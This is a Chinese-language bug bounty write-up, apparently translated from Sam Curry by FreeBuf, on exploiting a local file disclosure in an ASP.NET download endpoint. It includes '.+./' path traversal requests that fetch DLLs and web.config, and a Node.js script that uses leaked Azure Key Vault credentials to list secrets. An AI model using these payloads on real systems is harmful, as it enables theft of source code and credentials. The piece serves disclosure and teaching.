當前位置:
首頁 > 新聞 > 看我如何通過ASP Secrets讀取獲得了1.7萬美金的漏洞獎勵

看我如何通過ASP Secrets讀取獲得了1.7萬美金的漏洞獎勵

ASP.net應用程序中最常見的漏洞之一就是本地文件披露漏洞(LFD),如果你之前從沒接觸過這種技術的話,那麼利用LFD對你來說可能就沒啥意義了。在這篇文章中,我將跟大家介紹我如何利用LFD來滲透一個應用程序,並最終拿到了1.7萬美金的漏洞獎勵。


識別漏洞


在我近期進行的一項研究中,我找到了下面這個入口:

https://domain.com/utility/download.aspx?f=DJ/lc1jVgHTZF...

載入這個頁面時,它會從伺服器的另一個路徑下載一個有用的文檔。當時我不認為我可以篡改這個功能,因為它使用了一個加密參數,但我一直記得這個事情。如果我能夠破解密鑰(可能是AES),並設置該參數,那我就可以偽造參數並利用LFD了。


令我驚訝的是,我在該網站的另一個地方也遇到了相同節點:

https://domain.com/utility/download.aspx?f=file1234.docx

然後我接收到了:

HTTP/1.1200 OK
Connection:close
Content-Length:27363

?ó|u?
Z^tù¢y?ˉ;­!Y,}{?C?3/h>
...

這裡提供的參數是download.aspx,但我竟然可以直接看到download.aspx文件的源地址:

GET /utility/download.aspx?f=download.aspx

響應如下:

HTTP/1.1200 OK
Connection:close
Content-Length:263

<%@Page Language="C#" AutoEventWireup="true"Debug="true" %>
...

能夠讀取download.aspx,意味著我可以讀取任何文件,而且網站的文件存儲路徑為filename.aspx.cs。但是,.aspx.cs文件時無法訪問的。點擊【這裡】了解.aspx和.aspx.cs的區別。


繞過遍歷塊

除此之外,我還發現我無法在結尾添加兩個點號(..),否則收到的響應請求應該是「400 bad request」即請求失敗。


這裡我嘗試了模糊測試方法來查看它會忽略或過濾的字元,我使用的請求如下:

GET /utility/download.aspx?f=.[fuzz]./utility/download.aspx


這裡我手動枚舉了字元,直到我發現.+./utility/download.aspx可以返回download.aspx的內容。這就非常棒了,因為我可以遍歷目錄了。原因是什麼我也不清楚,但是我在我自己的ASP.NET應用中測試了一下,結果是無效的,所以應該是這裡存在有安全漏洞。


接下來,我想嘗試讀取一個.ashx文件,結果竟然成功了!

HTTP/1.1200 OK
Connection:close
Content-Length:2398

<%@WebHandler Language="C#" Class="redacted.redacted" %>

Imports System
Imports System.Data
Imports System.Data.SqlClient
Imports System.IO
Imports System.Web
Imports System.Configuration
...

這至少證明了,我可以直接讀取一些敏感文件了。下一步,就是讀取更多的源代碼。


通過發送下列請求,我可以直接從源文件中導出DLL文件:

GET /utility/download.aspx?f=.+./.+./bin/redacted.dll

下載該文件之後,攻擊者將能夠使用dnSpy來導入DLL,然後恢復應用程序的源碼:


ASP.NET應用程序中還有一種web.config文件,這種文件實際上是一個設置頁面,可幫助用戶設置整個Web伺服器中各種獨立頁面的變數參數。更重要的是,這種文件里存儲了大量敏感信息,例如SQL伺服器的憑證以及加密密鑰等等。


下面給出的是一份web.config文件樣本:

<?xmlversion="1.0" encoding="utf-8"?>
<!--
  For more information on how to configure yourASP.NET application, please visit
  http://go.microsoft.com/fwlink/?LinkId=301880
  -->
<configuration>
  <appSettings>
    <add key="webpages:Version"value="3.0.0.0" />
    <add key="webpages:Enabled"value="false" />
    <addkey="ClientValidationEnabled" value="true" />
    <add key="UnobtrusiveJavaScriptEnabled"value="true" />

    <add key="PodioClientId"value="" />
    <add key="PodioClientSecret"value="" />

    <add key="AppId"value="" />
    <add key="SpaceId"value="" />
  </appSettings>

  <connectionStrings>
    <remove name="umbracoDbDSN"/>
    <addname="PodioAspnetSampleDb"connectionString="server=WSA07;database=PodioAspnetSampleDb;userid=sa;password=pass" providerName="System.Data.SqlClient" />
  </connectionStrings>

  <system.web>
    <compilation debug="true"targetFramework="4.5" />
    <httpRuntimetargetFramework="4.5" />
  </system.web>
</configuration>

為了讀取目標站點的web.config文件,我只需要發送下列請求即可:

GET /utility/download.aspx?f=.+./.+./web.config

返回的響應信息如下,其中包含了很多敏感信息:

...
<addkey="keyVaultDataPlaneUri" value="redacted" />
<addkey="uniqueKeyVaultNameUri" value="redacted" />
<addkey="keyVaultClientId" value="redacted" />
<addkey="keyVaultClientSecretIdentifier" value="redacted" />
<addkey="keyVaultClientTenantName" value="redacted" />
<addkey="keyVaultAuthenticationContextUri" value="redacted"/>
<addkey="keyVaultApiVersion" value="2016-10-01" />
...

如果使用得當,我們將能夠訪問Azure Key Vault實例。Azure Key Vault主要用來存儲應用程序的機密信息,一般都會存儲很多有價值的數據。這裡給大家提供了一個Node.js腳本來訪問Azure Key Vault實例並從中提取密鑰信息:

var KeyVault = require("azure-keyvault");
var AuthenticationContext = require("adal-node").AuthenticationContext;

var clientId = "clientId";
var clientSecret = "clientSecret";
var vaultUri = "vaultUri";

//Authenticator - retrieves the access token
var authenticator= function (challenge, callback) {

  // Create a new authentication context.
  var context = newAuthenticationContext(challenge.authorization);

  // Use the context to acquire anauthentication token.
  return context.acquireTokenWithClientCredentials(challenge.resource,clientId, clientSecret, function (err, tokenResponse) {
    if (err) throw err;
    // Calculate the value to be set in therequest"s Authorization header and resume the call.
    var authorizationValue =tokenResponse.tokenType + " " + tokenResponse.accessToken;
    console.log(authorizationValue);
    return callback(null, authorizationValue);
  });

};

var credentials = new KeyVault.KeyVaultCredentials(authenticator);
var client = new KeyVault.KeyVaultClient(credentials);

client.getSecrets(vaultUri).then(function(value){
    console.log(value);
});

響應數據如下:

{ id:
    "https://redacted.vault.azure.net/secrets/ftp_credentials",
    attributes:
     { enabled: true,
       created: 2018-01-23T22:14:18.000Z,
       updated: 2018-01-23T22:14:18.000Z,
       recoveryLevel: "Purgeable" },
    contentType: "secret" } ]

...more secrets ...

沒錯,就是這麼簡單。當我發現該問題之後,便立刻將其上報給相關廠商,並拿到了1萬7千美金的漏洞獎勵。


*參考來源:

samcurry

,FB小編Alpha_h4ck編譯,轉載請註明來自FreeBuf.COM


喜歡這篇文章嗎?立刻分享出去讓更多人知道吧!

本站內容充實豐富,博大精深,小編精選每日熱門資訊,隨時更新,點擊「搶先收到最新資訊」瀏覽吧!


請您繼續閱讀更多來自 FreeBuf 的精彩文章:

Crazyradio獲取羅技無線滑鼠許可權重放攻擊實驗
HackerOne優秀白帽黑客採訪系列-Sean Melia

TAG:FreeBuf |